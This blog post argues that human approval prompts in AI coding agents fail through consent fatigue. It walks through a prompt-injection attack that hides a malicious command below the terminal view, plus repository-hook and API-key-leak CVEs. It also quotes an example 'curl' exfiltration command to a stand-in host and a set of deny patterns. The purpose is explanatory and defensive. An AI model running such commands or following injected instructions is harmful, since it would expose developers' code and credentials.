I Click "Yes" 47 Times a Day in Claude Code. Anthropic Just Replaced Me With the AI.
Every AI coding tool's security model assumes an attentive human. Auto Mode admits that human was never paying attention.
Yesterday I counted. 47 validations!
Claude Code asked me for permission 47 times in a single work session. Forty-seven dialog boxes. Forty-seven "Allow." My index finger answered faster than my eyes could read.
I know this because three times, I hit ESC ESC right after clicking. The panic reflex. That moment where your brain catches up to your finger with almost a full second of delay. Not fast enough to cancel. Just fast enough for the cold sweat.
Two months ago, I wrote that Cowork got hijacked 48 hours after launch. Today the real problem isn't the hijack anymore. It's the "Yes" button that's supposed to protect you from it.
TL;DR: The "human-in-the-loop" security model in AI coding tools relies on a human who reads every prompt. That human doesn't exist. Thousands of developers publicly admit they approve everything without reading. Researchers proved you can exploit exactly this behavior. Anthropic just released Auto Mode, which replaces the human with the AI for triage. Here's what you can do in the meantime.
The Two-Second Review
A normal half-day looks like this in my terminal.
git status (yes). write file (yes). npm test (yes). read file (yes). write file (yes). bash: curl (yes... wait, what?).
That last one. That's the one where my hand was already on the key before I registered "curl." Three letters into a command that could upload my entire project directory to someone else's server. I hit ESC ESC. The post-validation panic. My only real safety net.
And here's the thing I didn't want to admit: my "review" of each prompt takes about two seconds. I read the name of the tool. I don't read the command itself. Bash could be followed by npm install or curl -X POST https://evil.com/exfiltrate and my two-second glance wouldn't catch the difference. I review Bash commands the way I review Terms of Service. Technically I saw them. Legally that counts. Practically I have no idea what I agreed to.
The built-in security-guidance hook covers file writes. It does not cover Bash commands. So the highest blast radius action in the entire tool (arbitrary shell execution) goes through the weakest checkpoint: my tired index finger.
My security guard is the panic reflex of a finger that clicked too fast.
I thought it was me. That I was being sloppy. Then I looked at what other devs say.
2,243 Developers Agree: They Skip Everything
Early March, a dev posted a casual YOLO confession on X. Nothing edgy, nothing provocative. Just "yeah I skip all the permission prompts." Over two thousand likes. Not because it was controversial. Because every dev in the replies went "oh, it's all of us then."
The replies are a genre of their own. "dangerously-skip-permissions is how I run my life." Someone compared the experience to paying $8 for an iced latte just to click yes every 15 minutes. Another described running build, launch, and marketing with zero human in the loop. Full autonomy. No regrets.
A few voices push back: "the human IS the quality control, not the bottleneck" and "by hour 40 the agent accumulates compounding errors." Valid points. Outnumbered 50 to 1 by devs who've already made their choice.
Siddhant Khare wrote a proper analysis of what he calls "Claude Code's broken permission model." His diagnostic is simple: the tool offers two modes. Constant interruption, or total trust. Nothing in between. So devs pick total trust, because constant interruption is not a real workflow.
Developers don't bypass security out of carelessness. They bypass it because the design gives them no middle ground.
The Pattern That Killed a Patient and Bankrupted Target
This is not a new problem. This is not even a tech problem. It's a human cognition problem, and it has a name: consent fatigue. (Also called alarm fatigue in clinical settings.) When a security system interrupts you too often for benign actions, your brain recategorizes ALL interruptions as benign. The guard rail becomes invisible precisely because it fires too much.
Consent fatigue hits from two directions. Volume: 47 prompts in a session, your brain gives up triaging. And complexity: when the Bash command you're supposed to review wraps across three lines of piped arguments, you read the first four words, decide it looks roughly like what you expected, and hit Allow. You didn't review the command. You reviewed the vibe of the command. Both paths lead to the same reflex: Yes.
The data is ugly. In hospital ICUs, clinicians get hit with hundreds of alerts per shift. IBM documented a case where a 39x antibiotic overdose went through because the nurse had been conditioned by thousands of false alarms to click "override." The patient didn't survive the math.
The ASU Center for Problem-Oriented Policing found that 94 to 98% of burglar alarm activations are false. Police response times slow down. Homeowners stop checking. Bruce Schneier documented cases where burglars deliberately trigger an alarm 20 times to desensitize the owner before the real break-in.
And then there's Target, 2013. FireEye detected the malware. Sent alerts. The security team saw them. The security team did nothing. 70 million credit cards stolen. Not because the technology failed. Because the humans had been trained by months of low-priority alerts to treat every alert as low-priority.
IBM's threat intelligence team documented that attackers deliberately weaponize alarm fatigue: flood the system with high-volume, low-priority events to drown the one malicious action in noise.
Now look at Claude Code. 95% of permission prompts are legitimate. You approve them because they're fine. And that 95% ratio is precisely what trains your brain to approve the other 5% without reading.
To be clear: this isn't negligence. It's a documented neurological response to signal overload. The clinicians who override the alerts aren't incompetent. They're overwhelmed. Same logic for devs.
The alarm doesn't protect the house. It trains the owner to ignore it.
And security researchers proved it works on Claude Code.
Lies-in-the-Loop: When the Guard Becomes the Weapon
Checkmarx researchers (September through December 2025) built an attack they called Lies-in-the-Loop, or LITL. The mechanism:
1. Attacker poisons a GitHub issue with a crafted prompt
2. Developer uses /github-issue (recommended by Anthropic's own docs)
3. Claude loads the issue content into context
4. The injected prompt is long enough to push the actual
malicious command below the terminal viewport
5. Developer sees: "Now I will conduct a security review"
6. Developer clicks Yes
7. Remote code execution
The developer clicked Yes because the visible part of the prompt looked helpful. The dangerous part was scrolled out of view. Demonstrated on both Claude Code and VS Code Copilot. Now documented in the OWASP as "HITL Dialog Forging."
Anthropic's response to LITL: this is not a vulnerability because "users are responsible for reading prompts, including scrolling up."
(You just read sections 1 and 2. You know nobody scrolls up.)
Then in February 2026, Check Point dropped two CVEs on Claude Code. CVE-2025-59536 (CVSS 8.7): remote code execution through Hooks in .claude/settings.json. A malicious repo includes a hook that fires before the trust dialog even appears on screen. CVE-2026-21852 (CVSS 5.3): API key exfiltration through a poisoned ANTHROPIC_BASE_URL in the project settings. Open the wrong repo, lose your API key.
The twist that should keep you up at night: Hooks. The same mechanism you use as a security guard (PreToolUse patterns to block dangerous commands) is the same mechanism an attacker uses if they poison the repo. The guard and the accomplice are the same object.
Both CVEs are patched in Claude Code 2.0.65+. Anthropic reacted fast on each disclosure. The architectural problem (untrusted data flowing through the same channel as execution instructions) remains fundamentally unchanged.
And this problem is about to scale. Microsoft launched Copilot Cowork on March 9, powered by the same Claude Cowork engine, now integrated into Microsoft 365 with its 450 million seats. Satya Nadella sells "security and governance boundaries." The confirmation model is still human-dependent. The consent fatigue that hit experienced devs in their terminal is about to hit enterprise knowledge workers who've never heard of prompt injection. Cisco's State of AI Security 2026 found that 71% of organizations aren't prepared to secure agentic AI deployments. Copilot Cowork runs in the cloud with audit trails and enterprise governance, not locally. More controlled environment than standalone Cowork. But the confirmation mechanism still needs a human who reads. Good luck finding that human in an accounting department processing invoices.
The most recommended OWASP safeguard is the one attackers exploit.
Anthropic knows this. And their answer just shipped.
Three Fixes, None Complete
Three responses exist to this problem. I've tested all three. None of them solve it. 🛡️
Hooks (the DIY route). You write a PreToolUse hook on Bash that pattern-matches against high blast radius commands: curl|bash, exfiltration POST patterns, rm -rf, chmod 777, anything that touches API keys. Anthropic's verified security-guidance plugin is a decent starting point. You can build a custom bash-guard.sh with deny patterns that auto-reject the obvious stuff.
Advantage: total control, deterministic, no AI judgment involved. You define explicit contracts for what Claude can and cannot execute, and the hook enforces them mechanically.
Limits: the hook itself is an attack vector if the repo is poisoned (that's literally what the Check Point CVEs exploited). The deny rules have documented regressions (GitHub issues #12918, #27040 if you want the receipts). And Anthropic's own documentation says it plainly: patterns that try to constrain Bash arguments are "fragile." You're building a wall out of regex. It works until it doesn't.
Auto Mode (Anthropic's official answer, research preview March 12, 2026). The AI decides what's dangerous and what isn't. Low-risk actions get auto-approved. High-risk actions surface for human review. It's exactly the triage-by-blast-radius that consent fatigue research says you need: reduce the volume of alerts so the remaining ones actually get attention. Includes safeguards specifically designed against prompt injection.
Limits: you're replacing a fatigued human with an AI that remains vulnerable to prompt injection. The same category of attack (LITL) that tricks a human HITL could potentially trick the model that decides whether HITL is needed. It's research preview, not production-ready. Anthropic recommends sandbox and containers. The early returns from the first week will tell us if AI triage holds up against adversarial injections. Don't use it on anything you wouldn't want to lose.
Accept-Edits mode, Shift+Tab (the existing middle ground). Auto-approves file edits, keeps confirmation prompts on shell commands. The compromise that should have been the default from day one.
Limits: it's not the default. 90% of devs don't know it exists. The viral tweets show developers jumping straight to --dangerously-skip-permissions instead of discovering the mode that sits right between "constant interruption" and "YOLO." Accept-Edits is the most reasonable option for daily work right now. It's also the one nobody finds because they're too busy googling "claude code skip all permissions" at 11pm.
The real fix isn't in any of these three. The real fix is to stop routing untrusted data through the same channel as execution instructions. That's the architectural separation that the OWASP LLM Top 10 (LLM01), NIST's agent hijacking description, and researchers like Siddhant Khare (OpenFGA) all point to. Nobody in the industry has shipped it yet.
The real fix doesn't exist yet. Everything else is intelligent damage control.
When I wrote the Cowork article in January, I thought we were talking about a bug. An exploit, a patch, move on. Two months later, the exploit is partially fixed. The real problem hasn't moved a centimeter.
We built an entire security model on an attentive human who reads every command before authorizing it. Nobody has ever met that human. Not me with my forty-seven "Yes." Not the 2,243 devs who liked "I skip everything." Not Anthropic, who just admitted the problem by shipping Auto Mode.
Next time Claude asks you "Allow?", time yourself. If your answer comes before you've read the command, that's not a decision anymore. It's a muscle reflex. And someone, somewhere, is building an exploit that counts on exactly that.
Sources & links
PromptArmor's original Cowork exfiltration proof-of-concept and their CellShock research on Claude in Excel are both available on promptarmor.com with video demonstrations. The LITL (Lies-in-the-Loop) attack was documented by Checkmarx and is now listed in the OWASP as HITL Dialog Forging. Check Point's CVE disclosures for Claude Code (CVE-2025-59536, CVE-2026-21852) are detailed on The Hacker News. IBM's documentation on alarm fatigue weaponization and the ASU Center for Problem-Oriented Policing data on false alarm rates are the primary sources for the consent fatigue parallels. Siddhant Khare's analysis of Claude Code's permission model is on his blog.
If you build with AI daily and want the unfiltered version of what works, what breaks, and what ships, follow along. One article won't change your stack. A few months of them might.
(*) The cover is AI-generated. The consent fatigue it depicts, however, is 100% organic and locally sourced from my own terminal.
Tired of clicking 'Yes' 47 times a day without really reading? Our newsletter dives into real production patterns for AI agent safety beyond the broken permission model.